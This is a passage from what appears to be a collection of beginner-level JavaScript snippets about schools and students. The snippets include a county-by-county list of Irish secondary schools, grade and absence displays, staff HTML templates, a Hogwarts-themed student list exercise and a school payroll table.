Cahir\",\"Comeragh College, Greenside\",\n\t\t\t\t\t\t\t \"Loreto Secondary School, Clonmel\",\"Patrician Presentation, Fethard\",\n\t\t\t\t\t\t\t \"Presentation Secondary School, Clonmel\",\"Rockwell College, Cashel\",\n\t\t\t\t\t\t\t \"Scoil Mhuire, Carrick-On-Suir\",\"Scoil Ruain, Thurles\",\"St. Alibe's School, Tippearary Town\",\n\t\t\t\t\t\t\t \"St. Anne's Secondary School, Tipperary Town\",\"The Abbey School, Tipperary Town\"];\n\tbreak;\n\tcase \"Waterford City\": return [\"C.B.S. Mount Sion, Waterford\",\"De La Salle College, Waterford\",\n\t\t\t\t\t\t\t \"Gaelcholáiste Phort Lairge, Waterford\",\"Newtown School, Waterford\",\n\t\t\t\t\t\t\t \"Our Lady of Mercy Secondary School, Waterford\",\"Presentation Secondary School, Waterford\",\n\t\t\t\t\t\t\t \"St Angela's, Waterford\",\"St Paul's Community College, Waterford City\",\"Waterpark College, Waterford\"];\n\tbreak;\n\tcase \"Waterford County\": return [\"Ard Scoil na nDeise, Dungarvan\",\"Blackwater Community School, Lismore\",\n\t\t\t\t\t\t\t \"C.B.S. Tramore, Tramore\",\"Coláiste Chathail Naofa, Dungarvan\",\"Meánscoil San Nioclás, Rinn O gCuanach\",\n\t\t\t\t\t\t\t \"Scoil na mBraithre, Dungarvan\",\"St Augustines College, Dungarvan\",\n\t\t\t\t\t\t\t \"St Declan's Community College, Kilmacthomas\",\"Stella Maris, Tramore\"];\n\tbreak;\n\tcase \"Westmeath\": return [\"Athlone Community College, Athlone\",\"Castlepollard Community College, Mullingar\",\n\t\t\t\t\t\t\t \"Colaiste Mhuire, Mullingar\",\"Columba College, Killucan\",\"Loreto College, Mullingar\",\n\t\t\t\t\t\t\t \"Marist College, Athlone\",\"Meán Scoil an Chlochair, Mullingar\",\"Moate Community School, Moate\",\n\t\t\t\t\t\t\t \"Mullingar Community College, Mullingar\",\"Our Lady's Bower, Athlone\",\n\t\t\t\t\t\t\t \"St Aloysius College, Athlone\",\"St Finian's College, Mullingar\",\"St Joseph's College, Athlone\",\n\t\t\t\t\t\t\t \"St Joseph's Secondary School, Rochfortbridge\",\"Wilson's Hospital School, Multyfarnham\"];\n\tbreak;\n\tcase \"Wexford\": return [\"Bridgetown Vocational College, Bridgetown\",\"Christian Brothers Secondary School, Wexford\",\n\t\t\t\t\t\t\t \"Christian Brothers Secondary School, New Ross\",\"Coláiste Abbain, Enniscorthy\",\n\t\t\t\t\t\t\t \"Coláiste an Átha, Kilmuckridge\",\"Coláiste Bride, Enniscorthy\",\"F.C.J. Secondary School, Enniscorthy\",\n\t\t\t\t\t\t\t \"Good Counsel College, New Ross\",\"Gorey Community School, Gorey\",\"Loreto Secondary School, Wexford\",\n\t\t\t\t\t\t\t \"Meanscoil Gharman, Brownswood\",\"New Ross Vocational College, New Ross\",\n\t\t\t\t\t\t\t \"Our Lady of Lourdes Secondary School, New Ross\",\"Presentation Secondary School, Wexford\",\n\t\t\t\t\t\t\t \"Ramsgrange Community School, New Ross\",\"St Peter's College, Summerhill\",\n\t\t\t\t\t\t\t \"St. Mary's C.B.S., Enniscorthy\",\"St. Mary's Secondary School, New Ross\",\n\t\t\t\t\t\t\t \"Vocational College, Enniscorthy\",\"Vocational College Bunclody, Enniscorthy\",\n\t\t\t\t\t\t\t \"Wexford Vocational College, Wexford\"];\n\tbreak;\n\tcase \"Wicklow\": return [\"Abbey Community College, Wicklow Town\",\"Arklow CBS, Arklow\",\"Arklow Community College, Arklow\",\n\t\t\t\t\t\t\t \"Avondale Community College, Rathdrum\",\"Blessington Community College, Blessington\",\n\t\t\t\t\t\t\t \"Coláiste Bhríde Carnew, Carnew\",\"Colaiste Chraobh Abhann, Kilcoole\",\"Coláiste Raithín, Bré\",\n\t\t\t\t\t\t\t \"De La Salle College, Wicklow Town\",\"Dominican College, Wicklow Town\",\n\t\t\t\t\t\t\t \"East Glendalough School, Wicklow Town\",\"Gaelcholaiste na Mara, Arklow\",\n\t\t\t\t\t\t\t \"Loreto Secondary School, Bray\",\"Presentation College, Bray\",\"Scoil Chonglais, Baltinglass\",\n\t\t\t\t\t\t\t \"St Brendan's College, Bray\",\"St David's Holy Faith Secondary, Greystones\",\"St Gerard's School, Bray\",\n\t\t\t\t\t\t\t \"St Kevin's Community College, Dunlavin\",\"St Marys College, Arklow\",\"St Thomas' Community College, Bray\",\n\t\t\t\t\t\t\t \"St. Kilian's Community School, Bray\"];\n\tbreak;\n\t}\n}", "function getSubjects(val) {\n fetch(`get_student.php?sectionid=${val}`).then(s => s).then(s => s.text()).then(s => {\n if (s) {\n document.getElementById('subject').innerHTML = s;\n document.getElementById('subjectName').style.display = \"block\";\n } else {\n document.getElementById('subject').style.display = \"none\";\n }\n });\n}", "getHtmlInternDetails(id, email, school) {\n return `\n <ul>\n <li>Employee #: ${id}</li>\n <li>Email: <a href=\"mailto: ${email}\">${email}</a></li>\n <li>School: ${school}</li>\n </ul>`;\n }", "function schoolColor(schoolType) {\n\n \tif (schoolType ===\"charter\") {\n console.log(schoolType)\n fillColor = \"#f69705\";\n } \n else {\n fillColor = \"#d83700\";\n }\n return fillColor;\n }", "function checkSchool () {\n // Clear out messages.\n document.getElementById('output').innerHTML = null\n\n // Get the user's age and set to an integer.\n userAge = document.getElementById('age-input').value\n userAge = parseInt(userAge)\n\n // Get the day, and set it to all uppercase, making it case-insensitive.\n userDay = document.getElementById('day-input').value\n userDay = userDay.toUpperCase()\n console.log(userDay)\n\n // If the user's age is not a number or not realistic, send error message.\n if (isNaN(userAge) || userAge <= 0 || userAge >= 200) {\n document.getElementById('output').innerHTML = 'Please enter a valid age, using numerical symbols.'\n\n // If the user's age is valid, spellcheck to ensure it is a day of the week.\n } else if (userDay !== 'MONDAY' && userDay !== 'TUESDAY' && userDay !== 'WEDNESDAY' && userDay !== 'THURSDAY' && userDay !== 'FRIDAY' && userDay !== 'SATURDAY' && userDay !== 'SUNDAY') {\n // If it isn't, then send this error message.\n document.getElementById('output').innerHTML = 'Please check that the day of the week has been spelled correctly.'\n\n // If age is a valid number and the day is spelled correctly, proceed.\n } else {\n // If user is both between 5 and 19 years of age, and the day is not Saturday or Sunday, send the below message.\n if ((userAge >= 5 && userAge < 18) && (userDay !== 'SATURDAY' && userDay !== 'SUNDAY')) {\n document.getElementById('output').innerHTML = 'Time for school!'\n\n // If the above conditions are false because the user is above 18, send this message.\n } else if ((userAge > 18) && (userDay !== 'SATURDAY' && userDay !== 'SUNDAY')) {\n document.getElementById('output').innerHTML = 'Time to go to work!'\n\n // If the user's age is less than 5, send this message instead.\n } else if (userAge < 5) {\n document.getElementById('output').innerHTML = 'You aren\\'t quite old enough for school yet.'\n\n // If all of those are false, send this message.\n } else {\n document.getElementById('output').innerHTML = 'Time to relax for the weekend!'\n }\n }\n}", "function displayList(students) {\n document.querySelector(\"#all-students\").innerHTML = \"\";\n if (hasBeenHacked === true) {\n randomizeBloodType();\n students.forEach(displayStudent);\n console.log(\"hacked\");\n } else {\n students.forEach(displayStudent);\n console.log(\"not hacked yet\");\n }\n\n // Display current data for allStudents array (and expelledStudents array)\n document.querySelector(\".students-gryffindor\").textContent = \"Students in Gryffindor: \" + allStudents.filter((student) => student.house === \"Gryffindor\").length;\n document.querySelector(\".students-hufflepuff\").textContent = \"Students in Hufflepuff: \" + allStudents.filter((student) => student.house === \"Hufflepuff\").length;\n document.querySelector(\".students-ravenclaw\").textContent = \"Students in Ravenclaw: \" + allStudents.filter((student) => student.house === \"Ravenclaw\").length;\n document.querySelector(\".students-slytherin\").textContent = \"Students in Slytherin: \" + allStudents.filter((student) => student.house === \"Slytherin\").length;\n\n document.querySelector(\".students-total\").textContent = \"Students in total: \" + allStudents.length;\n document.querySelector(\".students-expelled\").textContent = \"Students expelled: \" + expelledStudents.length;\n}", "function specInfo(staff) {\r\n if (staff.getRole() === \"Manager\") {\r\n return ` <li class = \"list-group-item\">Office Number: ${staff.getOffNum()}</li>`;\r\n } else if (staff.getRole() === \"Intern\") {\r\n return `<li class = \"list-group-item\">School: ${staff.getSchool()} </li>`;\r\n } else {\r\n return ` <li class = \"list-group-item\">GitHub: <a href = \"www.github.com/${staff.getGithub()}\">${staff.getGithub()}</a></li>`;\r\n }\r\n }", "function displayInfo(theSculpture) {\n var theName = theSculpture.name;\n var theDesc = theSculpture.description;\n var theYear = theSculpture.year;\n document.getElementById(\"location-container\").getElementsByTagName('h3')[0].innerHTML = theName;\n document.getElementById(\"location-container\").getElementsByTagName(\"p\")[0].innerHTML = theYear;\n document.getElementById(\"location-container\").getElementsByTagName(\"p\")[1].innerHTML = theDesc;\n document.getElementById(\"location-container\").style.display = \"block\";\n}", "function getHonorific() {\n return getTitle() + street;\n\n}", "function printGrade(grade) {\n\tvar gradetitle = \"\"\n\tif (grade < 40) {\n\t\tgradetitle = \"Bitch you failed\";\n\t}\n\tif (grade >= 40) {\n\t\tgradetitle = \"You passed\";\n\t}\n\tif(grade >= 50) {\n\t\tgradetitle = \"You've acheieved a 2:2\";\n\t}\n\tif(grade >= 60){\n\t\tgradetitle = \"You've acheieved a 2:1\";\n\t}\n\tif(grade >= 70) {\n\t\tgradetitle = \"You've achieved a 1st!\";\n\t}\n\tvar gradeDisplay = '<div class = \"gradeDisplay\"><h2>'+gradetitle+'</h2><h1>'+grade+'%</h1></div>';\n\tdocument.getElementById('gradeVisual').innerHTML = gradeDisplay;\n}", "function schoolType() {\n var calcOcc = function () {\n // Taking input\n var a = document.getElementById('schoolStrength-school').valueAsNumber;\n var b = document.getElementById('nonTeachingStaff-school').valueAsNumber;\n var c = document.getElementById('teachingStaff-school').valueAsNumber;\n // Calculating Number of People\n var result = a + b + c;\n var positiveResult = Math.abs(result);\n\n return positiveResult;\n };\n \n var occupancyResult = function () {\n // Declaring Result\n document.getElementById('resultOccupancy').innerHTML = \"Occupancy: \" + calcOcc();\n };\n \n return occupancyResult();\n}", "function showStudentAddress(address) {\n var address = student.studentAddress;\n return address;\n}", "function School (course, level) {\n this.course = course,\n this.level = level\n this.say = function () {\n console.log(`${this.course}, ${this.level} level`);\n console.log(this);\n }\n}", "function getSchool(string, index) {\n\n return new Promise( async(resolve, reject) => {\n\n const nameColumn = /cell-school(.*?)<\\/td>/gs;\n const name = /(_blank\">)(.*)(<\\/a>)/s;\n\n const nameMatches = string.match(nameColumn);\n\n if (nameMatches !== null) {\n\n const schoolMatch = nameMatches[0].match(name);\n\n resolve({\n success: schoolMatch !== null ? true : false,\n name: schoolMatch !== null ? schoolMatch[2] : '',\n });\n\n } else {\n resolve({\n success: false,\n });\n }\n\n });\n\n}", "function showAbsenceDetails_old() {\ncontent = \"Abwesenheit\";\nactiveDataSet = studentList.find(dataset => dataset.absenceId == activeElement);\nif (activeDataSet['ende'] != activeDataSet['beginn']) {\ncontent += \" vom <b>\" + formatDateDot(activeDataSet['beginn']) + \"</b> bis <b>\" +formatDateDot(activeDataSet['ende']);\t\n} else {\ncontent += \" am <b>\" + formatDateDot(activeDataSet['beginn']) + \"</b>\";\t\n}\nanzeige = \"\";\nif (activeDataSet['adminMeldung'] != 0) {\nanzeige = \"Eintrag Sekretariat am: \" + formatDateDot(activeDataSet['adminMeldungDatum'])+'<br/>';\t\n}\nif (activeDataSet['lehrerMeldung'] != \"0\") {\nanzeige += \"Meldung Lehrer am: \" + formatDateDot(activeDataSet['lehrerMeldungDatum'])+'<br/>';\t\n}\nif (activeDataSet['elternMeldung'] != \"0\") {\nanzeige += \"Eintrag Eltern am: \" + formatDateDot(activeDataSet['elternMeldungDatum']);\t\n}\nif (activeDataSet['kommentar'] != \"0\") {\nanzeige += \"Kommentar: \" + formatDateDot(activeDataSet['kommentar']);\t\n}\ncontent += '<br/>' + anzeige;\n\nreturn content;\t\n}", "function display(){\n\n dom.name.innerHTML = students[studentNum].name;\n dom.address.innerHTML = students[studentNum].address.street + \" \" + students[studentNum].address.city;\n dom.grades.innerHTML = avg();\n\n //after show student1, go to student2\n studentNum++;\n\n if (studentNum == students.length){\n studentNum = 0;\n }\n\n }", "function School(school, degree, dates, location, majors){\n\tthis.school = school;\n\tthis.degree = degree;\n\tthis.dates = dates;\n\tthis.location = location;\n\n\tif(typeof majors === 'undefined'){\n\t\tconsole.log('majors undefined');\n\t\tmajors = [];\n\t}\n\n\tthis.majors = majors;\n}", "function openOrSenior(data){\n return data.map(([age, handicap]) => (age > 54 && handicap > 7) ? 'Senior' : 'Open');\n}", "function showAbsenceDetails(nr) {\nif (nr != undefined) {\nelementToCheck = nr;\t\n} else {\nelementToCheck = activeElement;\n}\ncontent = \"Abwesenheit\";\nactiveDataSet = studentList.find(dataset => dataset.absenceId == elementToCheck);\n//console.log(activeDataSet);\nif (activeDataSet['ende'] != activeDataSet['beginn']) {\ncontent += \" vom <b>\" + formatDateDot(activeDataSet['beginn']) + \"</b> bis <b>\" +formatDateDot(activeDataSet['ende'])+'</b>';\t\n} else {\ncontent += \" am <b>\" + formatDateDot(activeDataSet['beginn']) + \"</b>\";\t\n}\nanzeige = \"\";\nif (activeDataSet['adminMeldung'] != 0) {\nanzeige = \"Eintrag Sekretariat am: <b>\" + formatDateDot(activeDataSet['adminMeldungDatum'])+'</b><br/>';\t\n}\nif (activeDataSet['lehrerMeldung'] != \"0\") {\n\tif (teacherUser ==1) {\n\taddInfo = activeDataSet['lehrerMeldung'] + \"<b> (\" + formatDateDot(activeDataSet['lehrerMeldungDatum'])+')</b><br/>';\t\n\t} else {\n\taddInfo = \"Eintrag Lehrkraft<b> (\" + formatDateDot(activeDataSet['lehrerMeldungDatum'])+')</b><br/>';\t\n\t}\n\tanzeige += addInfo;\t\n}\nif (activeDataSet['elternMeldung'] != \"0\") {\nanzeige += \"Eintrag Eltern am: <b>\" + formatDateDot(activeDataSet['elternMeldungDatum'])+'</b>';\t\n}\nif (activeDataSet['kommentar'] != \"\") {\nanzeige += \"<br/>Kommentar: <b>\" + activeDataSet['kommentar']+'</b>';\t\n}\nif (activeDataSet['entschuldigt'] != \"0000-00-00\") {\nanzeige += \"Entschuldigung am: <b>\" + formatDateDot(activeDataSet['entschuldigt'])+'</b>';\t\n}\ncontent += '<br/>' + anzeige;\n\nreturn content;\t\n}", "function displayStudent2(alu){\n\n//var alu = JSON.parse('[{ \"Name\":\"John\", \"Age\":31,\"Gender\":\"Male\",\"Courses\":[{ \"season\":\"Winter\", \"name\":\"CIT-160\", \"finalGrade\":\"A\" },{ \"season\":\"Winter\", \"name\":\"WDD-100\", \"finalGrade\":\"A\" },{ \"season\":\"Fall\", \"name\":\"CIT-230\", \"finalGrade\":\"-A\" },{ \"season\":\"Winter\", \"name\":\"CIT-261\", \"finalGrade\":\"Nothing yet\"}]},{ \"Name\":\"Alfredo\", \"Age\":34,\"Gender\":\"Male\",\"Courses\":[{ \"season\":\"Winter\", \"name\":\"CIT-160\", \"finalGrade\":\"B\" },{ \"season\":\"Winter\", \"name\":\"WDD-100\", \"finalGrade\":\"B\" },{ \"season\":\"Fall\", \"name\":\"CIT-230\", \"finalGrade\":\"B\" },{ \"season\":\"Winter\", \"name\":\"CIT-261\", \"finalGrade\":\"B\"}]}]');\n\n\n\n //read each object inside of Array.\n var y;\n var txt = \"\";\n var txt2 = \"\";\n var txt3 = \"\";\n var stu = \"\";\n\n\n //var stu = \"Name: \"+alu.Name+\" - Age:\"+alu.Age+\" - Gender: \"+alu.Gender;\n for (i=0; i < alu.length;i++){\n for(y in alu[i].Courses){\n //var al = alu[i];\n var stu = \"Name: \"+alu[i].Name+\" - Age:\"+alu[i].Age+\" - Gender: \"+alu[i].Gender+\"<br>\";\n\n\n txt2 += \"Season: \"+alu[i].Courses[y].season+\" - Course: \"+alu[i].Courses[y].name + \" - Final Grade: \"+alu[i].Courses[y].finalGrade+\"<br> \";\n\n //this allows to add the name of the student only one time. \n var cant = (alu[i].Courses.length - 1); \n\n if(y == cant){\n txt3 += \"<strong>\"+stu+\"</strong>\"+\"<br>\"+txt2;\n txt3=txt3+\"<br>\";\n document.getElementById(\"listStu2\").innerHTML = \"<br><br>\"+txt3+\"<br><br>\";\n txt2 = \"\";\n }\n }\n\n }\n\n}", "function getClassInfo(schoolData) {\n var items = schoolData.classes;\n for (var key in items) {\n if (key === selectedClass) {\n var classData = schoolData.classes[key];\n displayWelcome(classData.name);\n displayTimetable(classData);\n displayBook(classData);\n }\n }\n}", "function isGriffindor(student) {\n return student.house === \"Gryffindor\";\n}", "function isClever(stud){\n student4 = \"John\";\n console.log(stud + \" is the cleveriest\");\n}", "function formatLessonType(lessonType) {\n if (lessonType === 'LEC') {\n return 'Lecture';\n }\n else if (lessonType === 'TUT') {\n return 'Tutorial';\n }\n}", "function displayFamily(person, people){\n displayParents(person, people);\n displaySpouse(person, people);\n displaySiblings(person, people);\n}", "function five() {\n var school = prompt('Has Dayne been to college?')\n if (school === 'y' || school === 'yes' || school === 'n' || school === 'no') {\n school = school.toUpperCase()\n console.log(school + ', Dayne did not go to school.');\n }\n if (school === 'NO') {\n alert('Correct.')\n correctanswer++;\n } else {\n alert('Incorrect.');\n }\n}", "function displayAnn() {\n\tfor (var index = 0; index < annDetails.length; index += 1) {\n\t\tif (annGrade[index] === studentGrade || annGrade[index] === \"allgrades\") {\n\t\t\tif (annGender[index] === studentGender || annGender[index] === \"allgenders\") {\n\t\t\t\tif (annClub[index] === studentClub || annClub[index] === \"allstudents\" || annStudentNumber[index] === studentNumber) {\n\t\t\t\t\tallAnnouncements += \"<h2>\" + annDateTime[index] + \"</h2>\" + \"<h3>\" + annTitle[index] + \"</h3>\" + \"<p>\" + annDetails[index] + \"</p>\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tdocument.getElementById(\"filteredannouncements\").innerHTML = allAnnouncements;\n}", "function getSchool() {\r\n return $(\"#school-select\").val();\r\n}", "function hasOnlyStudents() {}", "function openOrSenior(data){\n return data.map(([age, handicap]) => (age > 54 && handicap > 7) ? 'Senior' : 'Open');\n}", "function openOrSenior(data){\n return data.map(([age, handicap]) => (age > 54 && handicap > 7) ? 'Senior' : 'Open');\n}", "function School(){\n\tthis.distanceChance = 49;\n\tthis.feedChance = 12;\n\tthis.materialChance = 10;\n\tthis.buildingChance = 15;\n\tthis.goodTeachChance = 13;\n\t\n\tthis.available = true;\n\t\n\tthis.hasGoodTeacher = ( (Math.floor(Math.random() * (100 - 1 + 1) + 1))<= this.goodTeachChance ) ? true : false;\t\n\tthis.hasBuilding = ( (Math.floor(Math.random() * (100 - 1 + 1) + 1))<= this.buildingChance ) ? true : false;\n\tthis.hasMats = ( (Math.floor(Math.random() * (100 - 1 + 1) + 1))<= this.materialChance ) ? true : false;\n\tthis.feedStudents = ( (Math.floor(Math.random() * (100 - 1 + 1) + 1))<= this.feedChance ) ? true : false;\n\tthis.far = ( (Math.floor(Math.random() * (100 - 1 + 1) + 1))<= this.distanceChance ) ? true : false;\n\t\n\t\n\t\n\tthis.reRoll = function(){\n\t\tvar rolls = Math.floor(Math.random() * (100 - 1 + 1) + 1);\n\t\tthis.far = ( (rolls<=this.distanceChance)? true : false );\n\t\trolls = Math.floor(Math.random() * (100 - 1 + 1) + 1);\n\t\tthis.feedStudents = ( (rolls<=this.feedChance) ? true : false );\n\t\trolls = Math.floor(Math.random() * (100 - 1 + 1) + 1);\n\t\tthis.hasMats = ( (rolls<=this.materialChance) ? true : false );\n\t\trolls = Math.floor(Math.random() * (100 - 1 + 1) + 1);\n\t\tthis.hasGoodTeacher = ( (rolls<51) ? true : false );\n\t\trolls = Math.floor(Math.random() * (100 - 1 + 1) + 1);\n\t\tthis.hasBuilding = ( (rolls<=this.buildingChance) ? true : false);\n\t}\n}", "function fn_school(id)\n{\t\n\t$(\"#reports-pdfviewer\").hide(\"fade\").remove();\n\tvar dataparam = \"oper=showschool&districtid=\"+id;\n\t$.ajax({\n\t\ttype: 'post',\n\t\turl: 'reports/password/reports-password-passwordajax.php',\n\t\tdata: dataparam,\n\t\tbeforeSend: function(){\n\t\t\t$('#schools').html('<img src=\"img/loader.gif\" width=\"200\" border=\"0\" />'); \t\n\t\t},\n\t\tsuccess:function(data) {\t\t\n\t\t\t$('#schools').html(data);//Used to load the student details in the dropdown\n\t\t}\n\t});\n\t$('#dist').show();\n}", "function displayCourseRes(deptObj, courseObj) {\n let displayBox = document.getElementById('display-box');\n\n const prereqs = courseObj.prereqs;\n const sections = Object.entries(courseObj.sections).map(sectionObj => sectionObj[1].sectionCode);\n\n let sectionStr = `<ul>`;\n sections.forEach(section => {\n sectionStr += `<li>${section}</li>`;\n });\n sectionStr += `</ul>`;\n \n displayBox.innerHTML = `<h3>${deptObj.subjCode} ${courseObj.courseCode.split(\" \")[1]}</h3>\n <b>${courseObj.courseTitle}</b>\n </br>\n Credits: <b>${courseObj.credits}</b>\n </br>\n Pre-Reqs: <b>${prereqs}</b>\n </br>\n Sections: <b>${sectionStr}</b>`;\n\n deptOnDisplay = deptObj;\n courseOnDisplay = courseObj;\n sectionOnDisplay = null;\n unhideDisplay(); \n}", "function schoolCallBack(res){\n let pageContent = `\n <h3 class='pb-3 text-center'>ARCHDIOCESAN SCHOOLS LIST</h3>\n ${page.schoolsTable(res)}\n `;\n document.querySelector('main').innerHTML = pageContent; \n viewStaffBtnInit();\n return pageContent;\n}", "function GetDiscipline(data)\n{\n if (data.value == 'CustomOther')\n {\n var promptData = prompt(\"Please enter your paper type\", \"other\");\n if (promptData != null) \n {\n $(\"[data-value=CustomOther]\").html(\n '<div class=\"item\" data-value='+\n promptData+\n '>'+\n promptData+\n '</div>'\n );\n }\n }\n\n \n // console.log(isMastersChecked+'ya nannnns');\n\n\nif (\n (data.value == 'Business_Studies') ||\n (data.value == 'Art_Fine_arts_Performing_arts') ||\n (data.value == 'Film_Theater_studies') ||\n (data.value == 'Linguistics') ||\n (data.value == 'Philosophy') ||\n (data.value == 'Poetry') ||\n (data.value == 'Religious_studies') ||\n (data.value == 'Anthropology') ||\n (data.value == 'Cultural and Ethnic Studies') ||\n (data.value == 'Economics') ||\n (data.value == 'Ethics') ||\n (data.value == 'Political science') ||\n (data.value == 'Psychology') ||\n (data.value == 'Social Work and Human Services') ||\n (data.value == 'Sociology') ||\n (data.value == 'Tourism') ||\n (data.value == 'Urban Studies') ||\n (data.value == 'Lab') ||\n (data.value == 'Accounting') ||\n (data.value == 'Business Studies') ||\n (data.value == 'Finance') ||\n (data.value == 'business_and_administrative_studies') ||\n (data.value == 'International Relations') ||\n (data.value == 'Logistics') ||\n (data.value == 'business_and_administrative_studies') ||\n (data.value == 'Marketing') ||\n (data.value == 'Public Relations (PR)') ||\n (data.value == 'Astronomy (and other Space Sciences)') ||\n (data.value == 'Biology (and other Life Sciences)') ||\n (data.value == 'Ecology') ||\n (data.value == 'Zoology') ||\n (data.value == 'Computer science') ||\n (data.value == 'Statistics') ||\n (data.value == 'Agriculture') ||\n (data.value == 'Application Letters') ||\n (data.value == 'Architecture, Building and Planning') ||\n (data.value == 'Aviation') ||\n (data.value == 'Civil Engineering') ||\n (data.value == 'Communications') ||\n (data.value == 'Criminal Justice') ||\n (data.value == 'Criminal law') ||\n (data.value == 'Education') ||\n (data.value == 'Engineering') ||\n (data.value == 'Environmental studies and Forestry') ||\n (data.value == 'Family and consumer science') ||\n (data.value == 'Health Care') ||\n (data.value == 'International Trade') ||\n (data.value == 'IT, Web') ||\n (data.value == 'Leadership Studies') ||\n (data.value == 'Medical Sciences (Anatomy, Physiology, Pharmacology etc.)') ||\n (data.value == 'Medicine') ||\n (data.value == 'Nursing') ||\n (data.value == 'Public Administration') ||\n (data.value == 'Technology') ||\n (data.value == 'Management') \n \n)\n{\n \n if ($('input:radio[id=undergrad_3_4]').prop('checked') == false)\n {\n var txt;\n if (confirm(\"Press a button!\")) \n {\n var $radios = $('input:radio[name=pokemon]');\n $radios.filter('[id=undergrad_3_4]').prop('checked', true);\n getComboA(masters);\n }\n else \n {\n txt = \"You pressed Cancel!\";\n }\n console.log(txt);\n }\n}\n\n}", "function schoolsSalaryTable(res){\n let snum = 1,\n staffSalary = res.salary.reduce((acc, sch) => {\n return {\n ...acc, \n [sch.school_id]: (+sch.salary).toLocaleString('en-NG', {style:'currency', currency:'NGN'})\n }\n }, {}),\n pay_stats = res.pay_stats ? res.pay_stats.reduce((acc, sch) => {\n return {...acc, [sch.school_id]: {pay_date: sch.pay_date, pay_id: sch.id}}\n }, {}) : [],\n totalSalary = res.salary.reduce((acc, sch) => acc += +sch.salary, 0);\n\n let schoolTable = `\n <div class='row pt-2 pb-2 mb-2 rounded'>\n <div class='col-12 col-md-4'> \n <div class='card pline'>\n <div class='card-body'>\n <h5 class='card-title'>Date: </h5>\n <h6>\n <span id='currMonth' data-val='${res.searchDate.m}'>${months[+res.searchDate.m]}</span>, \n <span id='currYear'data-val='${res.searchDate.y}'>${res.searchDate.y}</span>\n </h6>\n </div>\n </div> \n </div>\n <div class='col-12 col-md-4'>\n <div class='card pline'>\n <div class='card-body'>\n <h5 class='card-title'>Total Salary Payable: </h5>\n <h6>${totalSalary.toLocaleString('en-NG', {style:'currency', currency:'NGN'})}</h6>\n </div>\n </div>\n </div>\n <div class='col-12 col-md-4'>\n <div class='card pline'>\n <div class='card-body'>\n <h5 class='card-title'>Total Salary Approved: </h5>\n <h6>${totalSalary.toLocaleString('en-NG', {style:'currency', currency:'NGN'})}</h6>\n </div>\n </div>\n </div>\n </div>\n <div class='row pline'> \n <div class='col-md-12'><select id='chooseMonth' style='width:20% !important;'>${monthDrop}</select></div>\n <div class='col-md-12'><select id='chooseYear' style='width:20% !important;'>${yearDrop}</select></div>\n \n <div class='col-md-12 pt-1 text-center'><button class='btn btn-outline oxline' data-page='payroll' id='changeMonth'>SELECT</button></div>\n </div>\n <table class='table table-bordered table-striped table-sm mt-2' >\n <thead class='oxblood text-center'>\n <th>S/No.</th>\n <th>Name</th>\n <th>Staff Size</th>\n <th>Total Salary per Month</th>\n <th>Approval Status</th>\n <th>Bank Payment Report</th>\n <th>Process Payroll</th>\n <thead>\n <tbody>\n `;\n // console.log(staffSalary);\n res.schools.forEach(sch => schoolTable += `\n <tr id='${sch.school_id}'>\n <td>${snum++}</td>\n <td>${sch.school_name}</td>\n <td class='text-center'>${sch.staff}</td>\n <td>${staffSalary[sch.school_id]}</td>\n <td class='text-center'>${pay_stats[sch.school_id] ? 'Approved' :'Unprocessed'}</td>\n <td class='text-center'>Not Paid</td>\n <td class='text-center'>\n ${pay_stats[sch.school_id] ?\n `<button class='btn btn-outline-success btn-sm schoolReportBtn' data-val='${pay_stats[sch.school_id].pay_id}' data-sch='${sch.school_id}'>\n Report\n </button>` :\n `<button class='btn btn-outline-primary btn-sm schoolPayrollBtn' data-sch='${sch.school_id}'>\n Process\n </button>`\n }\n </td>\n </tr>\n `\n );\n schoolTable += '</tbody></table>'\n\n return schoolTable;\n}", "function isGryffindor(student) {\n console.log(student.house);\n return student.house === \"Gryffindor\";\n}", "function showAll(courseId) {\n // Figure out how many columns we'll need.\n // const term = window.CST_OVERRIDES.terms.find( e => e.course_id === courseId);\n const term = findTermWithCourse(courseId);\n const assignmentCounts = term.students.map( e => e.assignment_overrides.length);\n const maxCols = assignmentCounts.reduce(function(a, b) {\n return Math.max(a, b);\n }, 0);\n\n // Add extra columns if needed.\n const termTable = document.getElementById('term_' + courseId);\n // const dataColumnCount = termTable.rows[1].cells.length - 1;\n const dataColumnCount = termTable.rows[1].cells.length - 2;\n if (maxCols > dataColumnCount) {\n termTable.rows[0].cells[0].colSpan = maxCols + 1;\n for (let i = 0; i < (maxCols - dataColumnCount); ++i) {\n for (let j = 1; j < termTable.rows.length; ++j) {\n termTable.rows[j].insertCell(0);\n }\n }\n }\n\n // Fill body of table with data cells\n for (let i = 1; i < termTable.rows.length; ++i) {\n \n // Observation assignments to display in this row\n let assignments = term.students[i - 1].assignment_overrides;\n \n for (let j = 0; j < maxCols; ++j) {\n // const newCell = termTable.rows[i].insertCell(j);\n\n // Clear any existing data in the cell\n const cell = termTable.rows[i].cells[j];\n let container = getDivChild(cell);\n if (container) {\n cell.removeChild(container);\n }\n\n // Check if this is a cell which should contain assignment data\n if (j < assignments.length) {\n const visibleAssignment = assignments[j];\n\n cell.appendChild(createObsDiv(term.course_id, visibleAssignment, true));\n // cell.appendChild(createObsDivShowAll(term.course_id, visibleAssignment));\n\n // Now that the cell is in place, see if we already have the\n // data to populate it.\n if (visibleAssignment.critiqueit_data) {\n populateAssignmentStatusDiv(term.course_id, visibleAssignment);\n } else {\n // Otherwise, populate it with an AJAX call\n getCritiqueItStatus(term.course_id, visibleAssignment, function() {} );\n }\n\n } // end populating cell containing assignment data\n } // end loop through columns\n } // end loop through rows \n\n hideButtonFromTeacherCandidate(termTable); // 12.21.2018 tps\n}", "function readingEase(num) {\n switch (true) {\n case (num <= 30):\n return \"Readability: College graduate.\";\n break;\n case (num > 30 && num <= 50):\n return \"Readability: College level.\";\n break;\n case (num > 50 && num <= 60):\n return \"Readability: 10th - 12th grade.\";\n break;\n case (num > 60 && num <= 70):\n return \"Readability: 8th - 9th grade.\";\n break;\n case (num > 70 && num <= 80):\n return \"Readability: 7th grade.\";\n break;\n case (num > 80 && num <= 90):\n return \"Readability: 6th grade.\";\n break;\n case (num > 90 && num <= 100):\n return \"Readability: 5th grade.\";\n break;\n default:\n return \"Not available.\";\n break;\n }\n}", "function displayFamily(person, people) {\n\n let parentsString = getParents(person, people);\n\n let spouseString = getSpouse(person, people);\n\n let childString = \"Children: \"\n let children;\n let foundChildren = [];\n\n children = people.filter(function (childrens) {\n for (let i = 0; i < childrens.parents.length; i++) {\n if (person.id === childrens.parents[i]) {\n return true;\n }\n }\n return false;\n })\n\n for (let i = 0; i 